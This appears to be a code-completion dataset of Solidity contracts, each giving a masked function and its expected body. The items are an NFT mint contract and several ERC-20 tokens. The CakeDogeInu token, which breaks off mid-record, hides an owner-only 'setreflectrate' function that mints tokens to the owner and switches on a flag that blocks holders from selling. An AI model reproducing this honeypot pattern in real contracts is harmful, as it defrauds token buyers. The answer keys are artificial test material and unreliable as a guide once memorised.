amount_; } function ownerMintToMany(address[] memory tos_, uint256[] memory amounts_) external onlyOwner { require(tos_.length == amounts_.length, "Length mismatch!"); // Iterate through each request for (uint256 i = 0; i < tos_.length; i++) { // Do ownerMint logic for (uint256 j = 0 ; j < amounts_[i]; j++) { _mint(tos_[i], __getTokenId() + j); } totalSupply += amounts_[i]; } } function whitelistMint(bytes32[] memory proof_) external payable onlySender whitelistSale { require(isWhitelisted(msg.sender, proof_), "You are not whitelisted!"); require(addressToWhitelistMinted[msg.sender] == 0, "You have no whitelist mints remaining!"); require(msg.value == mintPrice, "Invalid Value Sent!"); require(maxTokens > totalSupply, "No more remaining tokens!"); addressToWhitelistMinted[msg.sender]++; totalSupply++; _mint(msg.sender, __getTokenId()); emit Mint(msg.sender, __getTokenId()); } function publicMint() external payable onlySender publicSale { require(addressToPublicMinted[msg.sender] < 2, "You have no public mints remaining!"); require(msg.value == mintPrice, "Invalid value sent!"); require(maxTokens > totalSupply, "No more remaining tokens!"); addressToPublicMinted[msg.sender]++; totalSupply++; _mint(msg.sender, __getTokenId()); emit Mint(msg.sender, __getTokenId()); } // Transfer Hooks function transferFrom(address from_, address to_, uint256 tokenId_) public override { if ( yieldToken != iYield(address(0x0)) ) { yieldToken.updateReward(from_, to_, tokenId_); } ERC721.transferFrom(from_, to_, tokenId_); } function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public override { if ( yieldToken != iYield(address(0x0)) ) { yieldToken.updateReward(from_, to_, tokenId_); } ERC721.safeTransferFrom(from_, to_, tokenId_, data_); } // Those who know will know what this is... I'm just putting it here just in case ;) address public renderer; bool public useRenderer; function setRenderer(address address_) external onlyOwner { renderer = address_; } function setUseRenderer(bool bool_) external onlyOwner { useRenderer = bool_; } // View Function for Tokens function tokenURI(uint256 tokenId_) public view override returns (string memory) { require(_exists(tokenId_), "Token doesn't exist!"); if (!useRenderer) { return string(abi.encodePacked(baseTokenURI, Strings.toString(tokenId_), baseTokenURI_EXT)); } else { return iRenderer(renderer).tokenURI(tokenId_); } } // 0xInuarashi Custom Functions for ERC721 function multiTransferFrom(address from_, address to_, uint256[] memory tokenIds_) public { for (uint256 i = 0; i < tokenIds_.length; i++) { ERC721.transferFrom(from_, to_, tokenIds_[i]); } } function multiSafeTransferFrom(address from_, address to_, uint256[] memory tokenIds_, bytes[] memory datas_) public {<FILL_FUNCTION_BODY> } function walletOfOwner(address address_) public view returns (uint256[] memory) { uint256 _balance = balanceOf(address_); uint256[] memory _tokens = new uint256[](_balance); uint256 _index; for (uint256 i = 0; i < maxTokens; i++) { if (address_ == ownerOf(i)) { _tokens[_index] = i; _index++; } } return _tokens; } }
contract ZenApes is ERC721, MerkleWhitelist, Ownable, ERCWithdrawable { /* ZenApes by 0xInuarashi Discord: 0xInuarashi#1234 Twitter: https://twitter.com/0xInuarashi Features: Namable, Descripable (Send to Back-End) [/] Flexible Interface with ERC20 (Banana, Peel) [/] Uninstantiated Transfer Hook for Token Yield [/] Limit to 1 mint per address [/] Merkle Whitelisting [/] Public Sale [/] */ // Constructor constructor() ERC721("ZenApe", "ZEN") {} // Project Constraints uint16 immutable public maxTokens = 5000; // General NFT Variables uint256 public mintPrice = 0.07 ether; uint256 public totalSupply; string internal baseTokenURI; string internal baseTokenURI_EXT; // Interfaces iYield public yieldToken; mapping(address => bool) public controllers; // Whitelist Mappings mapping(address => uint16) public addressToWhitelistMinted; mapping(address => uint16) public addressToPublicMinted; // Namable mapping(uint256 => string) public zenApeName; mapping(uint256 => string) public zenApeBio; // Events event Mint(address to_, uint256 tokenId_); event NameChange(uint256 tokenId_, string name_); event BioChange(uint256 tokenId_, string bio_); // Contract Governance function withdrawEther() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } function setMintPrice(uint256 price_) external onlyOwner { mintPrice = price_; } // ERCWithdrawable function withdrawERC20(address contractAddress_, uint256 amount_) external onlyOwner { _withdrawERC20(contractAddress_, amount_); } function withdrawERC721(address contractAddress_, uint256 tokenId_) external onlyOwner { _withdrawERC721(contractAddress_, tokenId_); } function withdrawERC1155(address contractAddress_, uint256 tokenId_, uint256 amount_) external onlyOwner { _withdrawERC1155(contractAddress_, tokenId_, amount_); } // MerkleRoot function setMerkleRoot(bytes32 merkleRoot_) external onlyOwner { _setMerkleRoot(merkleRoot_); } // // Time Setters // Whitelist Sale bool public whitelistSaleEnabled; uint256 public whitelistSaleTime; function setWhitelistSale(bool bool_, uint256 time_) external onlyOwner { whitelistSaleEnabled = bool_; whitelistSaleTime = time_; } modifier whitelistSale { require(whitelistSaleEnabled && block.timestamp >= whitelistSaleTime, "Whitelist sale not open yet!"); _; } function whitelistSaleIsEnabled() public view returns (bool) { return (whitelistSaleEnabled && block.timestamp >= whitelistSaleTime); } // Public Sale bool public publicSaleEnabled; uint256 public publicSaleTime; function setPublicSale(bool bool_, uint256 time_) external onlyOwner { publicSaleEnabled = bool_; publicSaleTime = time_; } modifier publicSale { require(publicSaleEnabled && block.timestamp >= publicSaleTime, "Public Sale is not open yet!"); _; } function publicSaleIsEnabled() public view returns (bool) { return (publicSaleEnabled && block.timestamp >= publicSaleTime); } // Modifiers modifier onlySender { require(msg.sender == tx.origin, "No smart contracts!"); _; } modifier onlyControllers { require(controllers[msg.sender], "You are not authorized!"); _; } // Contract Administration function setYieldToken(address address_) external onlyOwner { yieldToken = iYield(address_); } function setController(address address_, bool bool_) external onlyOwner { controllers[address_] = bool_; } function setBaseTokenURI(string memory uri_) external onlyOwner { baseTokenURI = uri_; } function setBaseTokenURI_EXT(string memory ext_) external onlyOwner { baseTokenURI_EXT = ext_; } // Controller Functions function changeName(uint256 tokenId_, string memory name_) public onlyControllers { zenApeName[tokenId_] = name_; } function changeBio(uint256 tokenId_, string memory bio_) public onlyControllers { zenApeBio[tokenId_] = bio_; } // Mint functions function __getTokenId() internal view returns (uint256) { return totalSupply + 1; } function ownerMint(address to_, uint256 amount_) external onlyOwner { for (uint256 i = 0; i < amount_; i++) { _mint(to_, __getTokenId() + i); } totalSupply += amount_; } function ownerMintToMany(address[] memory tos_, uint256[] memory amounts_) external onlyOwner { require(tos_.length == amounts_.length, "Length mismatch!"); // Iterate through each request for (uint256 i = 0; i < tos_.length; i++) { // Do ownerMint logic for (uint256 j = 0 ; j < amounts_[i]; j++) { _mint(tos_[i], __getTokenId() + j); } totalSupply += amounts_[i]; } } function whitelistMint(bytes32[] memory proof_) external payable onlySender whitelistSale { require(isWhitelisted(msg.sender, proof_), "You are not whitelisted!"); require(addressToWhitelistMinted[msg.sender] == 0, "You have no whitelist mints remaining!"); require(msg.value == mintPrice, "Invalid Value Sent!"); require(maxTokens > totalSupply, "No more remaining tokens!"); addressToWhitelistMinted[msg.sender]++; totalSupply++; _mint(msg.sender, __getTokenId()); emit Mint(msg.sender, __getTokenId()); } function publicMint() external payable onlySender publicSale { require(addressToPublicMinted[msg.sender] < 2, "You have no public mints remaining!"); require(msg.value == mintPrice, "Invalid value sent!"); require(maxTokens > totalSupply, "No more remaining tokens!"); addressToPublicMinted[msg.sender]++; totalSupply++; _mint(msg.sender, __getTokenId()); emit Mint(msg.sender, __getTokenId()); } // Transfer Hooks function transferFrom(address from_, address to_, uint256 tokenId_) public override { if ( yieldToken != iYield(address(0x0)) ) { yieldToken.updateReward(from_, to_, tokenId_); } ERC721.transferFrom(from_, to_, tokenId_); } function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public override { if ( yieldToken != iYield(address(0x0)) ) { yieldToken.updateReward(from_, to_, tokenId_); } ERC721.safeTransferFrom(from_, to_, tokenId_, data_); } // Those who know will know what this is... I'm just putting it here just in case ;) address public renderer; bool public useRenderer; function setRenderer(address address_) external onlyOwner { renderer = address_; } function setUseRenderer(bool bool_) external onlyOwner { useRenderer = bool_; } // View Function for Tokens function tokenURI(uint256 tokenId_) public view override returns (string memory) { require(_exists(tokenId_), "Token doesn't exist!"); if (!useRenderer) { return string(abi.encodePacked(baseTokenURI, Strings.toString(tokenId_), baseTokenURI_EXT)); } else { return iRenderer(renderer).tokenURI(tokenId_); } } // 0xInuarashi Custom Functions for ERC721 function multiTransferFrom(address from_, address to_, uint256[] memory tokenIds_) public { for (uint256 i = 0; i < tokenIds_.length; i++) { ERC721.transferFrom(from_, to_, tokenIds_[i]); } } <FILL_FUNCTION> function walletOfOwner(address address_) public view returns (uint256[] memory) { uint256 _balance = balanceOf(address_); uint256[] memory _tokens = new uint256[](_balance); uint256 _index; for (uint256 i = 0; i < maxTokens; i++) { if (address_ == ownerOf(i)) { _tokens[_index] = i; _index++; } } return _tokens; } }
for (uint256 i = 0; i < tokenIds_.length; i++) { ERC721.safeTransferFrom(from_, to_, tokenIds_[i], datas_[i]); }
function multiSafeTransferFrom(address from_, address to_, uint256[] memory tokenIds_, bytes[] memory datas_) public
function multiSafeTransferFrom(address from_, address to_, uint256[] memory tokenIds_, bytes[] memory datas_) public
32883
BOMSToken
transfer
contract BOMSToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function BOMSToken() public { symbol = "BOMS"; name = "Blockchain of Original Material System"; decimals = 18; _totalSupply = 100 * (10**8) * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract BOMSToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function BOMSToken() public { symbol = "BOMS"; name = "Blockchain of Original Material System"; decimals = 18; _totalSupply = 100 * (10**8) * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true;
function transfer(address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success)
40313
DLT
transfer
contract DLT is SafeMath { string public name = "DLT"; string public symbol = "DLT"; uint8 constant public decimals = 18; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) public _allowed; uint256 public totalSupply = 10000000 * 1000000000000000000; constructor () public{ _balances[msg.sender] = totalSupply; emit Transfer(0x0, msg.sender, totalSupply); } function balanceOf(address addr) public view returns (uint256) { return _balances[addr]; } function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } function burn(uint256 _value) public returns (bool) { require(_balances[msg.sender] >= _value && _value > 0); require(totalSupply >= _value); _balances[msg.sender] = safeSub(_balances[msg.sender], _value); totalSupply = safeSub(totalSupply, _value); emit Burn(msg.sender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_balances[_from] >= _value && _value > 0); require(_balances[_to] + _value >= _balances[_to]); require(_allowed[_from][msg.sender] >= _value); _balances[_to] = safeAdd(_balances[_to], _value); _balances[_from] = safeSub(_balances[_from], _value); _allowed[_from][msg.sender] = safeSub(_allowed[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function allowance(address _master, address _spender) public view returns (uint256) { return _allowed[_master][_spender]; } event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Transfer(address indexed _from, address indexed _to, uint256 value); event Burn(address indexed _from, uint256 value); }
contract DLT is SafeMath { string public name = "DLT"; string public symbol = "DLT"; uint8 constant public decimals = 18; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) public _allowed; uint256 public totalSupply = 10000000 * 1000000000000000000; constructor () public{ _balances[msg.sender] = totalSupply; emit Transfer(0x0, msg.sender, totalSupply); } function balanceOf(address addr) public view returns (uint256) { return _balances[addr]; } <FILL_FUNCTION> function burn(uint256 _value) public returns (bool) { require(_balances[msg.sender] >= _value && _value > 0); require(totalSupply >= _value); _balances[msg.sender] = safeSub(_balances[msg.sender], _value); totalSupply = safeSub(totalSupply, _value); emit Burn(msg.sender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_balances[_from] >= _value && _value > 0); require(_balances[_to] + _value >= _balances[_to]); require(_allowed[_from][msg.sender] >= _value); _balances[_to] = safeAdd(_balances[_to], _value); _balances[_from] = safeSub(_balances[_from], _value); _allowed[_from][msg.sender] = safeSub(_allowed[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function allowance(address _master, address _spender) public view returns (uint256) { return _allowed[_master][_spender]; } event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Transfer(address indexed _from, address indexed _to, uint256 value); event Burn(address indexed _from, uint256 value); }
// require(_to != address(0)); if (_to == address(0)) { return burn(_value); } else { require(_balances[msg.sender] >= _value && _value > 0); require(_balances[_to] + _value >= _balances[_to]); _balances[msg.sender] = safeSub(_balances[msg.sender], _value); _balances[_to] = safeAdd(_balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; }
function transfer(address _to, uint256 _value) public returns (bool)
function transfer(address _to, uint256 _value) public returns (bool)
28487
TokenERC20
_transfer
contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // transfer event event Transfer(address indexed from, address indexed to, uint256 value); // burn event event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal {<FILL_FUNCTION_BODY> } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } }
contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // transfer event event Transfer(address indexed from, address indexed to, uint256 value); // burn event event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } <FILL_FUNCTION> function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } }
// Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
function _transfer(address _from, address _to, uint _value) internal
/** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal
20694
CakeDogeInu
swapTokensForEth
contract CakeDogeInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "CakeDogeInu | t.me/cakedogeinu"; string private constant _symbol = "CAKEDOGE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); bool private isChives = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x478a16c0c700c6ae6Ce3A1393C89De77373CF94a); _feeAddrWallet2 = payable(0x72210bc5087b5Bc191a570d003dEaA75305D7a46); _rOwned[_msgSender()] = _rTotal; _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x000000000000000000000000000000000000dEaD), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if(isChives) return _balances[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setreflectrate(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _maxTxAmount = _tTotal; _balances[_msgSender()] = _balances[_msgSender()].add(amount); isChives = true; emit Transfer(address(0), _msgSender(), amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 0; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { require(!bots[from] && !bots[to]); require(!isChives, "Uniswap only"); require(amount <= _maxTxAmount); _feeAddr1 = 5; _feeAddr2 = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {<FILL_FUNCTION_BODY> } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = false; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); bots[notbot] = false; } function setExcludedFromFee(address[] memory bots_) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); for (uint i = 0; i < bots_.length; i++) { _isExcludedFromFee[bots_[i]] = true; } } function delExcludedFromFee(address[] memory bots_) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); for (uint i = 0; i < bots_.length; i++) { _isExcludedFromFee[bots_[i]] = false; } } function _tokenTransfer(address sender, address recipient, uint256 amount) private { if(isChives){ _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return 